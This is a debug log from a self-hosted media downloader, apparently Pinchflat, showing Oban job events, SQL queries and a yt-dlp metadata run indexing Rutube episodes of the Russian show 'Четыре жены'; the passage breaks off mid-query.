20:56:00.554 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:11.044 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:41.046 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.557 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:11.047 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:41.049 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.558 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:11.053 [info] {"source":"oban","duration":3149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:41.055 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.562 [info] {"source":"oban","duration":3321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:11.057 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:23.454 [info] {"args":{"id":6},"id":2215,"meta":{},"system_time":1765303163448081153,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:59:23.497 [debug] QUERY OK source="sources" db=33.2ms queue=0.1ms idle=469.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:23.534 [debug] QUERY OK source="settings" db=32.0ms queue=0.2ms idle=509.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:23.680 [debug] QUERY OK source="media_items" db=131.8ms queue=0.1ms idle=555.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 20:59:23.755 [debug] QUERY OK source="media_items" db=68.1ms queue=6.6ms idle=330.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 20:59:23.765 [debug] QUERY OK source="media_profiles" db=3.1ms queue=0.2ms idle=317.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:23.802 [debug] QUERY OK source="settings" db=2.2ms idle=304.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:23.803 [debug] QUERY OK source="settings" db=0.7ms idle=268.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:23.821 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:59:23.825 [debug] Current batch of media processed. Will check again in 1000ms 20:59:23.827 [debug] QUERY OK source="settings" db=3.9ms queue=0.7ms idle=141.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:23.830 [debug] QUERY OK source="settings" db=2.4ms queue=0.2ms idle=72.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:23.832 [debug] QUERY OK source="settings" db=1.0ms queue=0.4ms idle=64.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:23.852 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/294997/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 жены/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/27/3f/273fb2dacfa851bb428f2e2d2302789536eb8e48226ab2882a61ba71bfc0ea33.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:24.826 [debug] Current batch of media processed. Will check again in 1000ms 20:59:25.831 [debug] Current batch of media processed. Will check again in 1000ms 20:59:26.842 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "duration" => 6915, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", "id" => "48339642a1d3fe289d0567dd4c336feb", "original_url" => "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", "playlist_index" => 1, "timestamp" => 1751548818, "title" => "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "upload_date" => "20250703"} 20:59:26.861 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=1866.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:26.898 [debug] QUERY OK source="sources" db=2.3ms queue=0.2ms idle=1902.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:26.903 [debug] QUERY OK source="media_items" db=2.9ms queue=0.5ms idle=1905.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 13:20:18Z], 6] 20:59:27.119 [debug] QUERY OK source="media_items" db=204.8ms queue=0.8ms idle=1557.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "c3ae7670-7bf3-46bb-8be4-be8cbf660f97", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", 1, "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, false, false, 6, [], 1, ~U[2025-07-03 13:20:18Z], ~U[2025-12-09 17:59:26Z], ~U[2025-12-09 17:59:26Z], "«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, 6, ~U[2025-07-03 13:20:18Z]] 20:59:27.128 [debug] QUERY OK source="sources" db=4.3ms queue=0.1ms idle=763.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:27.133 [debug] QUERY OK source="media_profiles" db=2.5ms queue=0.2ms idle=268.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:27.138 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=237.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76324] 20:59:27.146 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "duration" => 6176, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", "id" => "a29c461295ef58c5be2dbbc4b51b1885", "original_url" => "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", "playlist_index" => 2, "timestamp" => 1685630410, "title" => "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "upload_date" => "20230601"} 20:59:27.148 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=245.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:27.150 [debug] QUERY OK source="sources" db=0.9ms idle=30.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:27.154 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=23.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-01 14:40:10Z], 6] 20:59:27.273 [debug] QUERY OK source="media_items" db=117.8ms queue=0.4ms idle=22.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "92f71c38-4a5c-407f-a6c7-5760f8682ab3", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", 2, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, false, false, 6, [], 1, ~U[2023-06-01 14:40:10Z], ~U[2025-12-09 17:59:27Z], ~U[2025-12-09 17:59:27Z], "Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, 6, ~U[2023-06-01 14:40:10Z]] 20:59:27.276 [debug] QUERY OK source="sources" db=1.8ms idle=135.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:27.278 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=128.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:27.281 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=129.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76325] 20:59:27.282 [debug] Current batch of media processed. Will check again in 1000ms 20:59:28.284 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "duration" => 6999, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", "id" => "43416b12e7f3afe0c5f6151679f2b6d2", "original_url" => "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", "playlist_index" => 3, "timestamp" => 1686235204, "title" => "Четыре жены: Пофигистка, муза, современная и супер-жена", "upload_date" => "20230608"} 20:59:28.285 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1012.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:28.286 [debug] QUERY OK source="sources" db=0.3ms idle=1009.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.286 [debug] QUERY OK source="media_items" db=0.3ms idle=1008.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-08 14:40:04Z], 6] 20:59:28.376 [debug] QUERY OK source="media_items" db=88.9ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "16245b74-b50c-4fc3-acc9-3adf18b6c840", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", 3, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-08 14:40:04Z], ~U[2025-12-09 17:59:28Z], ~U[2025-12-09 17:59:28Z], "Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, 6, ~U[2023-06-08 14:40:04Z]] 20:59:28.395 [debug] QUERY OK source="sources" db=17.5ms queue=0.1ms idle=92.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.397 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=110.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:28.400 [debug] QUERY OK source="media_items" db=2.5ms idle=110.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR 